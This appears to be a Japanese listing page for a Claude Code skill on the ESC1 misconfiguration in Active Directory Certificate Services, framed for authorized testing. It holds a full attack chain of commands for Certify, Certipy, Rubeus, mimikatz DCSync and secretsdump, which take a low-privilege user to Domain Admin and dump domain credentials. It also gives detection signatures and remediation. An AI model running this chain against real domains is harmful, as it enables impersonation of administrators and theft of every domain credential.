exploiting-active-directory-certificate-services-esc1 について
Active Directory Certificate ServicesのESC1設定不備と、証明書を使った権限昇格の経路を解説するスキルです。許可されたラボやテストでのテンプレート調査から検証、報告までを扱い、検知指標と修正策も示します。
主な機能
- 01AD CSと証明書テンプレートを列挙
- 02ESC1条件に該当するテンプレートを確認
- 03任意のSANを指定して証明書を申請
- 04PKINITで認証
- 05検知指標と修正策を確認
活用シーン
- 01許可されたテストでAD CSを評価
- 02ラボでESC1の検証を練習
- 03証明書悪用の検知方法を策定
- 04発見事項と修正案を文書化
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-active-directory-certificate-services-esc1インストール後、Claude Code で/exploiting-active-directory-certificate-services-esc1を入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
Active Directory Certificate Services ESC1 の悪用
概要
ESC1(Escalation Scenario 1)は、Active Directory Certificate Services における重大な設定ミスです。証明書テンプレートで、権限の低いユーザーが Domain Admins を含む任意のユーザーになりすまして証明書を要求できる状態を指します。この脆弱性は、テンプレートで CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT フラグ(「Supply in Request」とも呼ばれます)が有効になっており、さらにクライアント認証を許可する拡張キー使用法(EKU)(Client Authentication、PKINIT Client Authentication、Smart Card Logon、または Any Purpose)が設定されている場合に発生します。これにより、攻撃者は証明書要求で任意のサブジェクト代替名(SAN)を指定でき、実質的に任意のドメインユーザーになりすますことが可能になります。ESC1 は SpecterOps の研究者である Will Schroeder と Lee Christensen によるホワイトペーパー「Certified Pre-Owned」(2021 年)で記録されており、現在も最も一般的な AD CS 攻撃経路の 1 つです。MITRE ATT&CK フレームワークでは、これを T1649(認証証明書の窃取または偽造)として扱っています。
使用する場面
- Active Directory Certificate Services ESC1 の悪用を伴う、許可を得たセキュリティテストを実施する場合
- 管理された環境でマルウェアのサンプルや攻撃の痕跡を分析する場合
- レッドチーム演習やペネトレーションテストを実施する場合
- 攻撃手法の理解に基づいて検出機能を構築する場合
前提条件
- レッドチームの概念とツールに関する知識
- 安全に実行できるテスト環境またはラボ環境へのアクセス
- 必要な依存関係をインストールした Python 3.8 以降
- テスト活動に対する適切な許可
目標
- Certify または Certipy を使用して AD CS インフラストラクチャと証明書テンプレートを列挙する
- 「Supply in Request」が有効な脆弱な ESC1 テンプレートを特定する
- SAN フィールドに Domain Admin を指定して証明書を要求する
- 偽造した証明書を PKINIT で使用して認証し、TGT を取得する
- 取得した Kerberos チケットを使用して Domain Admin へ権限を昇格する
- エンゲージメントレポート用に攻撃チェーン全体を記録する
MITRE ATT&CK マッピング
- T1649 - 認証証明書の窃取または偽造
- T1558.001 - Kerberos チケットの窃取または偽造:Golden Ticket
- T1078.002 - 有効なアカウント:ドメインアカウント
- T1484 - ドメインポリシーの変更
- T1087.002 - アカウントの探索:ドメインアカウント
ワークフロー
フェーズ 1:AD CS の列挙
- ドメイン内の証明機関(CA)サーバーを列挙します:
# Using Certify (Windows) Certify.exe cas # Using Certipy (Linux/Python) certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.1 - すべての証明書テンプレートを列挙し、脆弱なものを特定します:
# Using Certify - find vulnerable templates Certify.exe find /vulnerable # Using Certipy - outputs JSON and text reports certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.1 -vulnerable - 特定したテンプレートで ESC1 の条件を確認します:
msPKI-Certificate-Name-FlagにENROLLEE_SUPPLIES_SUBJECTが含まれているpkiExtendedKeyUsageに Client Authentication または Smart Card Logon が含まれているmsPKI-Enrollment-Flagで管理者の承認が必須になっていない- 権限の低いグループ(Domain Users、Authenticated Users)に Enroll 権限がある
フェーズ 2:任意の SAN を指定した証明書要求
- 脆弱なテンプレートを使用し、SAN に Domain Admin を指定して証明書を要求します:
# Using Certify (Windows) Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator # Using Certipy (Linux) certipy req -u [email protected] -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn [email protected] - CA が、SAN フィールドに Domain Admin の UPN を含む証明書を発行します
- 出力された証明書を PFX/PEM 形式で保存します
フェーズ 3:偽造証明書による認証
- 必要に応じて証明書を変換します(Certify は PEM 形式で出力するため、PFX に変換します):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx - PKINIT を使用して認証し、なりすましたユーザーの TGT を取得します:
# Using Rubeus (Windows) Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt # Using Certipy (Linux) certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1 - TGT がメモリに読み込まれます(Windows の場合)。Linux の場合は NT ハッシュが復元されます
フェーズ 4:ドメインでの権限昇格
- Domain Admin の TGT を使用して、特権操作を実行します:
# DCSync to dump all domain credentials mimikatz.exe "lsadump::dcsync /domain:domain.local /all" # Or using secretsdump.py with the obtained NT hash secretsdump.py domain.local/[email protected] -hashes :ntlmhash - Domain Admin のアクセス権を検証します:
# List domain controllers dir \\DC01.domain.local\C$ # Access Domain Admin shares dir \\DC01.domain.local\SYSVOL
ツールとリソース
| ツール | 目的 | プラットフォーム |
|---|---|---|
| Certify | AD CS の列挙と証明書の要求 | Windows (.NET) |
| Certipy | AD CS の列挙、要求、認証 | Linux (Python) |
| Rubeus | 証明書による Kerberos 認証(PKINIT) | Windows (.NET) |
| Mimikatz | 権限昇格後の認証情報のダンプ | Windows |
| secretsdump.py | リモートでの認証情報のダンプ(Impacket) | Linux (Python) |
| PSPKIAudit | PowerShell AD CS 監査モジュール | Windows |
| ForgeCert | 証明書偽造ツール | Windows (.NET) |
脆弱なテンプレートの指標
| 条件 | 脆弱な値 |
|---|---|
| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage | クライアント認証 (1.3.6.1.5.5.7.3.2) |
| 登録権限 | Domain Users または Authenticated Users |
| msPKI-Enrollment-Flag | マネージャーの承認が不要 |
| CA の設定 | 承認ワークフローが適用されていない |
検出シグネチャ
| 指標 | 検出方法 |
|---|---|
| SAN が要求者と異なる証明書要求 | CA サーバー上の Windows イベント 4886 / 4887 |
| 通常と異なる PKINIT 認証 | 証明書ベースの事前認証を伴うイベント 4768 |
| Certify.exe または Certipy の実行 | EDR によるプロセス監視とコマンドラインのログ記録 |
| 証明書テンプレートの大量列挙 | pkiCertificateTemplate オブジェクトに対する LDAP クエリの監視 |
| 一致しない UPN への証明書発行 | CA 監査ログと証明書の透明性 |
検証基準
- AD CS 証明機関を列挙した
- Certify または Certipy を使って脆弱な ESC1 テンプレートを特定した
- Domain Admin の SAN を含む証明書を正常に要求した
- 偽造証明書を使って PKINIT 認証を実行した
- Domain Admin の TGT を取得した
- ドメインコントローラーへの特権アクセスを検証した
- 証拠を含む攻撃チェーン全体を文書化した
- 修復に関する推奨事項を提示した(Supply in Request を無効にし、マネージャーの承認を必須にする)